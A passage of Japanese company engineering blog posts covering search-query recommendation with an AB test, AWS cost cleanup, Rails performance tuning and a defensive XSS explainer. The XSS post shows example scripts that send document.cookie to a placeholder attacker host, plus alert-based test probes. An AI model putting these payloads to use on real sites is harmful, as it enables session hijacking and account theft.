今回の検索クエリレコメンドでは、ユーザーの代わりにセッション  j \in \mathcal{J} を単位とし、商品と検索クエリの類似度を計算しました。具体的には、商品  i の閲覧ベクトルを  \boldsymbol{x}_i \in \{0,1\}^{|\mathcal{J}|} 、検索クエリ  k (例:商品カテゴリとブランドの組み合わせ)に該当する商品の閲覧ベクトルを  \boldsymbol{y}_k \in \{0,1\}^{|\mathcal{J}|} とし、それぞれの次元をセッション、値をそのセッションで閲覧されたかどうかの  0, 1 の値とします。このとき、商品  i と検索クエリ  k の類似度を

 \displaystyle
s_{i,k} := \cos(\boldsymbol{x}_i, \boldsymbol{y}_k) = \frac{\boldsymbol{x}_i \cdot \boldsymbol{y}_k}{|\boldsymbol{x}_i||\boldsymbol{y}_k|}

と定義し、事前計算しました。これにより「ある商品を見たセッションでは、他にどのような検索クエリに該当する商品が見られているか」を集計しています。たとえば、あるスニーカーを閲覧したセッションで「ブランド A のスニーカー」に該当する商品もよく閲覧されていれば、 s_{i,k} は高い値になり、その商品からそのクエリへの関連度が高いとみなします。

ユーザーごとの検索クエリレコメンド作成

これにより計算した商品×検索クエリの類似度  s_{i,k} を元に、ユーザーごとの検索クエリレコメンドを作成しました。具体的には、ユーザー  u に対する検索クエリ  k の集約スコア  S_u(k) を以下の式で計算し、その集約スコア上位の検索クエリをユーザーごとにレコメンドしました。

 \displaystyle
S_u(k) = \sum_{t=0}^{T-1} e^{-\lambda t}\, s_{i_{u,t},\,k}

ここで、 i_{u,t} はユーザー  u が直近  t 番目に閲覧した商品のID( t=0 が最新の閲覧商品)を表します。 S_u(k) は、直近  T 件の閲覧商品それぞれについて、その商品と検索クエリ  k の類似度  s_{i_{u,t},k} (先ほどのコサイン類似度の式により事前計算済み)を、閲覧順に応じた指数減衰の重み  e^{-\lambda t} で重み付けして合算したものです。同じ検索クエリが複数の商品から推薦された場合は加算され、直近の閲覧ほどユーザーの現在の興味を強く反映します。 \lambda \geq 0 は減衰率を表します。

今回は検索クエリのレコメンド自体に効果があるかをクイックに検証する目的だったため、 T  \lambda は後述する定性評価アプリでの結果を見ながら調整しました。オフライン評価指標を設計して最適化するのが本来望ましいですが、まず施策の有効性を確認するフェーズとして定性評価による調整で十分と判断しました。

また、コールドスタート問題、具体的にはマイナーな商品が閲覧履歴に含まれる場合の対処として、レコメンド上位数件はルールベースで直近閲覧商品のブランド × カテゴリを出力するようにしました。マイナー商品は共閲覧セッション数が少なくスコアの信頼性が低くなるため、こうしたケースでも関連性が高いクエリを最上位に表示できるよう意図しています。先ほど述べたようにクイックに検証する目的上、ここへの深い投資は優先度を下げた判断です。

検索クエリ内の商品並び替え

新しいレコメンドイメージで説明したように、検索クエリごとに商品を何件か見せるようにしました。

新しいiOSアプリのホーム画面のレコメンド

ここで、単純に検索クエリで検索したときの人気商品を見せると、ユーザーが閲覧した商品との関連性が低い商品が表示され興味を惹きづらい問題がありました。そこで、 item-to-item 協調フィルタリングも作成し、その結果を元に各検索クエリ内の商品を並び替えるようにしました。
例えば、ユーザーがブランド A のピンクのバッグを閲覧していた場合を考えます。以下のように並び替え前は人気順上位の黒・白のバッグが表示されていました。これを item-to-item 協調フィルタリングの結果をもとに並び替えることで、ピンク系のバッグが表示されるようにしました。

並び替え前後の例

並び替えには Solr のブーストクエリの仕組みを利用しました。具体的には、検索クエリに該当する商品の中で、ユーザーの直近閲覧商品との item-to-item 協調フィルタリング結果上位の商品にブーストをかけることで、ユーザーの興味に近い商品を上位に表示しました。Solr のブーストクエリの採用理由としては、検索エンジンとして Solr を利用しており、それに付随する機能を利用した方が開発工数を抑えつつ検索クエリ内の商品並び替えができると考えたためです。

レコメンドの並び順に対するランダム性の導入

ユーザーごとの検索クエリの集約スコアで検索クエリを並べて表示すると、アプリ訪問のたびに同じような検索クエリが表示される問題がありました。そこで、検索クエリの並び順に対するランダム性を導入し、アプリ訪問のたびに検索クエリの並び順が変化するようにし、より回遊を促せるようにしました。また、検索クエリ内の商品並び替えについても同様の理由でランダム性を導入しました。

ランダム性の導入には Gumbel-Top-k Trick を利用しました。スコアに Gumbel ノイズを加算して top k を取ることで、スコア上位の候補ほど選ばれやすくしつつ、一定のランダム性を持たせる手法です。実装では、スコアに温度パラメータをかけることで、関連性を重視する度合いとランダム性の強さを調整しました。これによりスコア上位の関連性の高い検索クエリは表示されやすくしつつも、時にやや意外性のある下位の検索クエリも表示されることで、ユーザーが飽きずに回遊を続けられることを意図しています。実際に結果を確認すると、関連性の高いクエリが多く表示されつつも、時折意外性のあるクエリが混ざるような挙動となりました。

定性評価

検索クエリレコメンドの精度を確認するために定性評価を実施しました。生成 AI をコーディング支援に利用し、閲覧した商品IDリストを入力すると検索クエリレコメンド結果を表示する Web アプリを素早く作成しました。これをチームメンバーにも使っていただき、フィードバックを得ながら細かな調整を実施しました。また、これにより Bot などの大量アクセスによりレコメンド結果が不自然になることに気づけ、それを防ぐための前処理を入れることもできました。具体的には、以前弊社の技術ブログでも紹介した手法を参考に、短時間で大量に商品閲覧しているセッションを除外する対応を行いました。

AB テスト

AB テストは、iOS アプリのホーム画面を訪問したユーザーを対象に2週間実施しました。Treatment では検索クエリレコメンドを12件、既存の個別商品レコメンドの上部に追加表示しました。Control では既存の個別商品レコメンドのみを表示しました。

Control と Treatment の画面イメージ比較図は以下のとおりです。

Control と Treatment の画面イメージ比較図

AB テストの結果は以下の通りです。

指標 Treatment / Control 相対改善 備考
ホームレコメンド経由の CVR 138% +38% 主指標
ホームレコメンド経由の ARPPU 105% +5% 客単価が落ちていないことの確認
ホームレコメンド経由の ARPU 146% +46% 客単価が落ちていないことの確認
iOS アプリ全体の商品閲覧ユーザー率 100.4% +0.4%
iOS アプリ全体の CVR 100.1% +0.1%

ここでいうホームレコメンド経由の CVR は、iOS アプリのホーム画面を訪問したユーザーのうち、ホームレコメンド経由で購入に至ったユーザー割合として定義しています。また、ホームレコメンド経由の購入は、ホームレコメンド上の商品または検索結果導線を起点として商品詳細に到達し、購入に至ったケースとして集計しています。

AB テストでは、ホームレコメンド経由の CVR や ARPU が改善しました。また、ARPPU が大きく低下していなかったことから、CVR 改善の裏で購入単価が悪化しているわけではないことも確認できました。

一方で、アプリ全体の CVR には大きな変化は見られませんでした。ホームレコメンド経由の購入は増加したものの、その一部には他導線からホームレコメンド経由への購入経路の付け替わりが含まれていた可能性があります。そのため、今回の施策はアプリ全体の購入を大きく押し上げるというよりも、ホーム画面からの商品探索を促進し、ホームレコメンド経由の購入機会を増やす効果が大きかったと考えています。

iOS アプリ全体では商品閲覧ユーザー率の上昇が見られました。iOS アプリ全体の商品閲覧ユーザーを分解して確認すると、検索クエリレコメンドのみから商品閲覧をしたユーザーが増えていました。それらの多くは検索結果画面に遷移したうえで商品を閲覧していました。このことから、検索クエリをレコメンドすることで、ホーム画面から検索結果での回遊を促し、アプリ全体の商品閲覧ユーザー率の改善につながったと考えられます。

商品閲覧ユーザー分解

まとめ

今回、iOS アプリのホーム画面に検索クエリレコメンドを導入したことで、ホームレコメンド経由の CVR、iOS アプリ全体の商品閲覧ユーザー率の上昇が見られました。これらの結果から、検索クエリのレコメンドがユーザーの回遊を促し、購入に結び付く商品に出会う確率を上げることができたと考えられます。一方で、課題としては全体の CVR にあまり変化は無かったことがあります。そこで、購入経路の付け替えではなく、純増を生み出す方向のレコメンドロジックや UI/UX を追求していきたいと考えています。それに向けて現在も引き続き AB テストにて新たなレコメンドロジックや UI/UX を試しています。


株式会社エニグモ すべての求人一覧

hrmos.co

AWSリソースの整理とコスト最適化 手動運用で掴むシステムの肌感覚と自動化への展望

概要

こんにちは、インフラエンジニアの 加藤 です。

社内で行ったAWSのコスト最適化とリソース整理の内容をレポートします。

今回は、AWS Compute OptimizerAWS Trusted AdvisorAmazon S3 Storage Lensを活用し、不要・過剰リソースの洗い出しから削除までを手動で実施しました。

まずはAWSの公式推奨値や手作業でのチェックを経て「どの部分を仕組み化できそうか」のあたりをつけ、今後はそれをベースに自動化や定期モニタリングの仕組みを構築していく予定です。

本記事では、具体的な実施内容や改善結果とあわせて、今後の自動化・仕組み化に向けた方針をまとめます。


1. 現状確認

過剰なコストが発生している可能性の高い箇所を特定するため、以下の3つのアプローチで調査を行いました。

1-1. AWS Compute Optimizerの確認

  • 稼働中のEC2インスタンスやEBSボリュームの推奨ステータス(最適化可能、過剰プロビジョニングなど)を抽出しました。

1-2. AWS Trusted Advisorの確認

  • コスト最適化項目を確認し、利用率の低いEC2インスタンスや未使用のEBSボリュームなどを抽出しました。
    【注意】Trusted Advisorの網羅性】
    Trusted Advisorは非常に便利ですが、あくまでAWSが定義した標準的なルールに基づく推奨事項の提示に留まります。
    アカウント内の不要なリソースをすべて完璧に洗い出せるわけではないため、Trusted Advisorの確認だけでなく、独自の基準による調査も組み合わせて実施しました。

また、推奨内容の適用にあたっては、監視メトリクスから平常時・ピーク時双方のリソース使用状況を分析し、性能劣化やリソース枯渇のリスクがないことを検証したうえで実施しました。
変更作業については、段階的な適用を基本方針とし、利用状況の分析結果に基づいてメンテナンス時間帯を選定することで、サービスへの影響を最小化しました。
利用者の多いシステムに対する再起動を伴う変更は、安定運用のため影響の少ない時間帯に実施しました。

1-3. 長期間放置されているリソースの整理

  • 長期放置されているEC2関連リソースとS3バケットの確認を実施しました。
    • EC2関係
      • 1年以上前に作成されたまま稼働・利用されていないEC2インスタンス、EBSボリューム、EBSスナップショット、AMIをリストアップし、不要なものを整理しました。
      • AWS Instance Schedulerで利用している既存タグではコスト効率が悪いもの(例:夜間停止後平日日中に再起動してしまうケース)については、新たに「停止のみ」のスケジュール設定を追加しました。
    • S3関係
      • S3 Storage LensとS3 APIを活用し、長期間更新のないオブジェクト、不完全なマルチパートアップロードの有無、ライフサイクルルールの設定状況を横断的に確認しました。

2. 実施した最適化作業(手動対応)

「1. 現状確認」で抽出した調査結果に基づき、対象リソースの棚卸しを実施しました。具体的には、スプレッドシートに対象リソース一覧を整理した上で、関係各所のメンバーに対して個別にヒアリングを行い、利用状況および必要性を確認しました。その結果を踏まえ、手動作業にて以下のリソース最適化・整理を実施しました。

2-1. AWS Compute Optimizer / Trusted Advisor に基づく対応

ツールから推奨された「過剰プロビジョニング」や「未使用リソース」のステータスに対し、以下の即効性のある対応を行いました。

  • インスタンス・EBSの最適化
    • 過剰スペックと判定されたEC2インスタンスのタイプ変更(ダウンサイジング)を実施しました。
    • EBSボリュームのパラメータ(容量・IOPS・スループット)を実際の利用実績に合わせて最適化しました。
  • 未使用リソースの削除・解放
    • コストが発生していた未使用のEBSボリューム・EBSスナップショットやEC2インスタンスを整理し削除しました。

2-2. 独自基準に基づく対応(EC2関連リソース)

Trusted Advisor等では検知しきれない、長期間放置されていたリソースの整理と、今後の無駄を防ぐための設定変更を行いました。

  • 長期未使用リソースのクリーンアップ
    • 1年以上前に作成され、運用されていないEC2インスタンス、EBSボリューム、EBSスナップショット、AMIを精査し、不要なものを削除しました。
  • AWS Instance Schedulerのタグ設定の見直し
    • 調査時に停止忘れ対策単体のタグが存在していなかったため、新しく停止用のタグを作成・付与し、自動でインスタンスが停止してコストの無駄遣いを防げる状態にしました。

2-3. 長期間放置されているリソースの整理(S3関連リソース)

S3 Storage LensとS3 APIの調査結果を基に、ストレージコストを削減するための整理を行いました。

  • オブジェクトの精査と削除

    • 長期間更新のなかったバケットやオブジェクトを精査し、不要なリソースを削除しました。
  • マルチパートアップロードのクリーンアップ

    • 蓄積していた「不完全なマルチパートアップロード」をクリーンアップし、無駄なストレージ消費を解消しました。
  • ライフサイクルルールの更新

    • 今後の自動コスト最適化(オブジェクトのGlacierへの移行や自動削除など)を見据え、暫定的なライフサイクルルールを設定・更新しました。

3. 今後に向けた自動化・仕組み化の展望

今回は手動でリソースの棚卸し・整理を実施しましたが、リソースの増加は今後も継続的に発生します。
そのため、同様の課題を繰り返さないよう、運用の仕組み化と自動化を進めていきます。

1. 公式推奨事項の定期確認

AWSのベストプラクティスに沿った継続的な改善を行うため、推奨事項を定期的に収集し、Slackへ通知する仕組みを構築します。

対象は以下を想定しています。

  • AWS Compute Optimizer の推奨レポート
  • Trusted Advisor の推奨レポート

人手による定期確認を不要にし、対応漏れの防止や継続的なコスト最適化につなげます。

2. 独自フィルターによる未使用リソース検知

AWSの標準機能だけでは検知できない放置リソースを可視化するため、現場の運用実態に合わせた独自フィルターを作成し、月次でSlackへ通知します。

例えば、今回の棚卸しで利用した基準をもとに、以下のようなリソースを検知対象とします。

  • 作成から1年以上経過したEC2・AMI・EBS・EBS Snapshot
  • 長期間停止状態のEC2
  • 未アタッチのEBS
  • 未参照のAMI・EBS Snapshot

これにより、実運用に即した未使用リソースの早期発見と継続的なコスト削減を実現します。

3. S3運用の標準化と自動化

S3については、ライフサイクル管理の標準化と大量オブジェクト運用時の自動化を進めます。

  • Infrequent Access や Glacier など適切なストレージクラスへの自動移行
  • 不完全なマルチパートアップロードの自動削除
  • バケットやプレフィックス単位での保持期間ルールの整理と自動削除

調査を進める中で、S3の分析・整理に関する運用パターンが確認されたため、今後の対応方針として検討を進めています。 また、Storage Lens、S3 InventoryS3 Batch Operationsを組み合わせた手法はAWS公式ブログでも実装例として紹介されており、今後の検討の参考としています。 ただし、対象バケットはオブジェクト数が多く、各種分析・調査系サービスの利用コストも発生するため、コスト面も含め慎重に検討する必要があります。
参考:AWS公式ブログ:「Copy objects between any Amazon S3 storage classes using S3 Batch Operations


まとめ

コスト最適化の提案から始め、まずは簡単に済ませられるものから各ツールの推奨情報も参考にしながら手作業で進めました。実作業を通してシステムの現状や、単なる削除に留まらないリソースのチューニングに関する判断基準を深く学べたことが大きな収穫です。今後は、今回得た知見をもとに自動化や定期通知の仕組み化へと繋げ、さらなる運用効率の向上に貢献していきます。

株式会社エニグモ すべての求人一覧

hrmos.co

Railsで主要ページのパフォーマンス改善を行った話

こんにちは。BUYMA TRAVELのWebエンジニアの赤間です!

BUYMA TRAVELは BUYMA を運営する株式会社エニグモのグループサービスです。

1. はじめに

弊社では日本語対応のオプショナルツアー・貸切ガイド予約サイト’’BUYMA TRAVEL’’を開発・運営しています。

その中でも「エリアページ」と「スポットページ」は検索エンジンから流入したユーザが最初に訪れることの多い主要なページです。

ここ数ヶ月でユーザにとってより使いやすいページを目標に、クチコミやおすすめ商品の掲載など様々な要素・機能の追加を行ってきました。しかしその一方で表示速度が低下し、商品数の多いページによっては表示完了まで最大3秒かかってしまう状況でした。

そこでこれらのページを対象に、Railsアプリケーションのパフォーマンス改善を実施しました。本記事では調査の流れから改善内容、その改善を通して得られた知見をご紹介します。

2. エリアページ・スポットページとは

ここで簡単にサービス紹介もかねて、この2つのページのご紹介です。

エリアページ

https://travel.buyma.com/service/a040118/

その名の通り、エリア(地域)単位で商品をまとめている特設ページです。

スポットページ

https://travel.buyma.com/service/a040118/s0000001/

こちらは、観光スポット単位で商品をまとめている特設ページです。

どちらのページも人気商品やプライベート商品、クチコミ、おすすめスポットなどのコンテンツを掲載しています。 一見すると単純な一覧ページですが、実際にはユーザに新鮮な情報を提供するための複数の検索処理や集計処理、共通コンポーネントによって構成されており、システム的に比較的処理の多い重いページとなっています。

3. なぜ改善が必要だったのか

これらのページは検索エンジンから’’BUYMA TRAVEL’’に流入したユーザが最初に目にするページです。

そのため表示速度の低下は単なる技術的な課題ではなく、サービス全体の利用率や売り上げにも直結する可能性があります。 また、エリアページとスポットページはサービス内でもアクセス数が多く、改善効果が大きいページでもありました。

実際に計測したところ、改善前ではページ表示までに最大3秒程度かかってしまうケースも確認できました。 ページ表示速度と離脱率には相関があると言われており、ユーザがページの表示を待っている間に離脱してしまえば、どんなに魅力のある商品を掲載していても見てもらうことはできません。

そこで、本格的なパフォーマンス改善に取り組むこととなりました。

4. AIを活用したボトルネック調査

エリアページは長年運用されてきたページであり、コードベースも大規模化していました。

そのため単純に「とりあえずSQLを削減する」といった場当たり的な改善ではなく、本当にボトルネックとなっている処理を特定する必要がありました。 Railsアプリケーションではコントローラ・モデル・ビュー(・ヘルパー)に処理が分散しているため、どこで処理時間を消費しているかを把握するだけでも手間がかかります。

今回はDatadogで遅いトランザクションを特定し、Cursorを利用してコードベースの調査を行いました。

AIに「TTFBを悪化させている箇所を探して欲しい」 という依頼を行い、懸念箇所や修正候補をリストアップしてもらいました。

5. 調査して見つかった問題箇所

分析の結果、大きく以下の3つの課題が見つかりました。

  • SQLの発行数が多い
  • 同一リクエスト内で重複した計算が発生している
  • キャッシュが十分に活用できていない

特にSQL関連の問題が深刻で、全体処理時間の約60%を占めている有り様でした。

6. 実施した改善

SQL発行数の削減

調査の結果、レスポンス時間の大部分をデータベースアクセスが占めていることがわかりました。

特に商品一覧の表示処理では、関連データを取得する際にN+1問題が発生している箇所が複数存在していました。

N+1問題とは、一覧取得後に各レコードごとに追加のSQLが発行されてしまう問題です。 たとえば商品を10件まとめて表示する場合、本来1回で済むはずが11回以上のDBアクセスが必要になることがあります。 さらにデータ量が増えるほどSQL実行回数も増加するため、パフォーマンスへ大きな影響を与えてしまうのです。

今回の改善では includes を利用したEager Loadingを積極的に導入し、必要な関連データを事前にまとめて取得するように変更しました。 また、同じ情報を異なるコンポーネントで個別に取得している箇所も存在していたため、取得処理を集約し不要なクエリ発行を削減しました。

結果として、SQL発行数を大幅に削減でき、レスポンス改善に最も大きく貢献した施策となりました。

同一リクエストで同じ計算をしていた

調査を進める中で、同一リクエスト内で何度も同じ計算を行なっている箇所も見つかりました。これは本当にもったい無いですね、、、

単体で見ると小さな処理ですが、ページ全体では何度も呼び出されるため無視できないコストになります。 そこでメモ化を導入し、一度計算した結果を再利用するように変更しました。 また、一部の集計処理にはキャッシュを活用することで再計算そのものを削減しています。

大きな改善ではありませんが、細かな最適化の積み重ねが最終的なレスポンス改善につながりました。

お気に入り機能とキャッシュの見直し

今回の改善で特に興味深い問題が、お気に入り機能とキャッシュの関係でした。 商品カードはページ内で大量に表示されるため、本来であればカード単位でキャッシュしたいコンテンツです。商品名や価格、評価、パートナー情報などは頻繁には変化しないため、一度生成したHTMLを再利用できることで大きな効果が期待できます。

しかし、お気に入りの状態はユーザごとに異なる情報です。 同じ商品であってもあるユーザにとっては「お気に入り登録済」、別ユーザにとっては「未登録」という状態があります。

そのため商品カード全体をキャッシュしてしまうと、

  • ユーザごとに異なるキャッシュを生成する必要がある
  • キャッシュキーが複雑になる
  • キャッシュヒット率が低下する という問題が発生します。

実際に、改善前はこの問題を回避するために、お気に入りボタンを除いた「パートナー・評価」「商品情報」の2つの領域に分けて個別にキャッシュしていました。

この構成でもキャッシュがない状態より圧倒的に効率的ですが、キャッシュの管理が複雑であったり、テンプレートも読みづらい実装になっていました。

そこで今回の修正では、商品カードとお気に入りの状態を分離し、商品カード全体を共通キャッシュできる構成へ変更しました。 商品カード本体は全ユーザ共通のHTMLとしてキャッシュし、商品IDごとのお気に入りの状態は別で取得する形です。 これにより商品カード自体は1つのキャッシュとして扱えるようになり、キャッシュ構成をシンプルにしつつ、高いキャッシュ効率を実現しています。

結果としてレスポンス速度だけでなく、今後の保守性や機能追加のしやすさという点でも大きな効果を得ることができました。

7. 改善結果

改善前ではページ表示までに最大3秒程度かかる状態でした。 改善後は1秒に満たない時間で表示できるケースが大半となり、体感速度も大きく向上しました。

今回の改善では特定の1箇所を直したのではなく、

  • SQLの最適化
  • 重複処理の削減
  • キャッシュの見直し といった複数の小さな改善を積み重ねたことが、この結果につながりました。

8. まとめ

当サイトの主要ページである、エリアページ・スポットページの速度改善についてご紹介しました。

パフォーマンス改善というと大規模なアーキテクチャ変更をイメージするかと思います。私自身はそのような印象を持っていました。

しかし実際には特別な技術ではなく、N+1の解消やメモ化、キャッシュ設計の見直しといった、比較的小さな改善の積み重ねでも、十分な効果が出せると実感しました。

Railsには優秀なキャッシュ機構や様々な最適化手法がありますが、まずは基本的なSQLの見直しが重要です。 普段のレビューでもN+1の有無や効率的なデータの取得については確認していますが、改めて見直してみると、どうしても漏れは出てくるものだと感じました。機能追加を重ねてきたページほど、定期的にパフォーマンスの棚卸しは必要だと思います。

今回で大きくレスポンスを改善できましたが、まだ課題は残っています。 特にレビュー集計処理にはサマリーテーブル導入の余地がありますし、ページビューカウントの非同期化など、更なる高速化が可能です。

今後もユーザ体験向上のため、継続的な改善を続けていきます。

XSS(クロスサイトスクリプティング)とは?脆弱性の診断方法と対策

こんにちは。 エニグモのWebアプリケーションエンジニアのレミーです!

Webセキュリティにおいて最も頻繁に発生する脅威の一つがXSS(クロスサイトスクリプティング)です。ユーザーに大きな被害をもたらし、企業の信頼を失墜させるこの脆弱性について、その仕組みから対策まで解説します。

XSS(クロスサイトスクリプティング)とは?

XSSとは、Webアプリケーションの脆弱性を突き、悪意のあるスクリプト(主にJavaScript)を攻撃者が他のユーザーのブラウザ上で実行させるサイバー攻撃です。

攻撃が成功すると、以下のような深刻な被害が発生する可能性があります。

  • セッションIDやクッキー、個人情報の取得
  • ブラウザやWebサイトの不正操作
  • 悪意のあるサイト(フィッシングサイトなど)への強制リダイレクト

XSSはWebアプリケーションのセキュリティにおいて最も危険な脆弱性の一つとして知られており、ユーザーのアイデンティティ(認証情報)を盗み出すことが主な目的とされています。

XSSの仕組み

XSSは基本的にクライアントサイド(ユーザーのブラウザ上)で実行されます。 HTMLやJavaScriptなどの言語で書かれた悪意のあるコードが、ユーザーの入力フォームなどを経由してWebサイトに送り込まれます。

仕組みとしてはSQLインジェクションと似ており、クライアントからサーバーへのリクエストに不正なコードを紛れ込ませることで実行されます。この脆弱性は、Webサイト側がユーザーからの入力データを適切に検証・サニタイズしていないこと、または適切な出力エンコーディングを行っていないことによって発生します。

例:脆弱なサイトの検索ページが、検索キーワードをそのまま表示する場合。

ユーザーが「猫」と検索したとき:

<p>「猫」の検索結果:3件</p>

もし攻撃者が <script>alert('攻撃成功!')</script> と検索したら?

<p><script>alert('攻撃成功!')</script>」の検索結果:0件</p>

ブラウザは攻撃者のコードがそのまま動いてしまいます。

代表的なXSSの種類

1. 反映型XSS(Reflected XSS)

URLのパラメータやフォームの入力値に仕込まれた悪意のあるスクリプトが、サーバーからのレスポンス画面にそのまま反映されて実行されるタイプです。攻撃者は、スクリプトを仕込んだURLをメールやSNSで標的に踏ませることで攻撃を成立させます。一般的に、特定のユーザーを狙った攻撃に多く使われます。

例:以下のURL

https://example.com/search?q=<script>fetch('https://攻撃者.com?cookie='+document.cookie)</script>

気づかない一瞬の間に、ログインクッキーが攻撃者に送信され、攻撃者はユーザーになりすましてログインできてしまいます。

2. 蓄積型XSS(Persistent XSS)

攻撃者が掲示板やプロフィールの入力欄などを通じて、悪意のあるスクリプトをWebサイトのデータベースに保存させるタイプです。その後、他のユーザーがそのページを閲覧するたびにスクリプトが自動的に実行されます。一度設置されると、不特定多数のユーザーが同時に被害に遭うため非常に危険です。

例:SNSサイトで、攻撃者が自分のプロフィールの「自己紹介欄」に以下を入力しました:

<script>
  // このプロフィールを見た全員のクッキーを盗む
  new Image().src = 'https://攻撃者.com/steal?c=' + document.cookie;
</script>

このプロフィールは「サニタイズされず」にデータベースに保存されます。それから一晩で、このプロフィールを訪問した全てのユーザー全員のクッキーが攻撃者の手に渡りました——ユーザーは「プロフィールを見ただけ」なのに。これが蓄積型XSSの恐ろしさです。

XSS脆弱性の診断やテスト方法

自社のWebサイトにXSSの脆弱性がないかを確認するには、入力フォームなどにテスト用のスクリプトを入力し、それがブラウザ上で実行されてしまうかどうかを検証します。

例:

<!-- 基本テスト -->
<script>alert('XSS')</script>

<!-- imgタグの onerror を使う方法 -->
<img src=x onerror=alert('XSS')>

<!-- SVGを使う方法 -->
<svg onload=alert('XSS')>

ただし、最も確実なのはソースコードのコードレビューや、専門の脆弱性診断ツールの導入、またはプロのセキュリティエンジニアによる診断を受けることです。

XSSの防ぎ方・対策

開発者向けの対策

  • サニタイズと入力値のバリデーション: 入力されたデータが適切な形式であるかチェックし、不正な文字(<> など)を排除、または無害化します。
  • 出力のHTMLエンコーディング: ユーザーが入力した文字列をHTMLに表示する際、特別な意味を持つ文字(例: < は &lt;、> は &gt;)をエスケープ処理します。これが最も根本的な対策です。
  • WAF(Web Application Firewall)の導入: 通信を監視し、XSS特有のパターンを持つリクエストを遮断します。

一般ユーザー向けの対策

  • 不審なURLをクリックしない: メールやSNSに貼られている怪しいリンク、心当たりのないURLには触れないようにしましょう。
  • 個人情報の入力に注意する: 信頼性の低いWebサイトで、ログイン情報やクレジットカード情報を安易に入力しないよう徹底してください。
  • ブラウザやOSを最新に保つ: 使用しているブラウザのセキュリティアップデートをこまめに行い、常に最新のバージョンを利用します。
  • セキュリティソフトの導入: マルウェアや悪意のあるスクリプトの実行を検知・ブロックするウイルス対策ソフトを導入しましょう。

エニグモでのセキュリティへの取り組み

弊社が運営するBUYMAでは、ユーザーの個人情報や決済情報を扱うため、セキュリティ対策は開発フローの中心に位置づけられています。

具体的には、以下のような取り組みを行っています。

  • コードレビューでのセキュリティチェックは、全てのPull Requestにおいて、XSSやSQLインジェクションなどの脆弱性があるかどうか、きちんとレビューしています。
  • フレームワークのデフォルト機能の活用では、Ruby on Railsの html_saferaw などの使用は最小限にし、使う場合は必ずレビューで確認しています。
  • 静的解析ツールの導入は、Brakemanなどのツールで、CI上で自動的に脆弱性を検知する仕組みを整えています。

まとめ

XSSは非常に古典的でありながら、現在でも多くのWebサイトで脅威となっているセキュリティリスクです。Webサイトを守るためには、開発者が入力・出力の処理を正しく実装することが不可欠です。また、ユーザー側も日頃からURLの確認やブラウザの更新など、基本的なセキュリティ意識を持つことが大切です。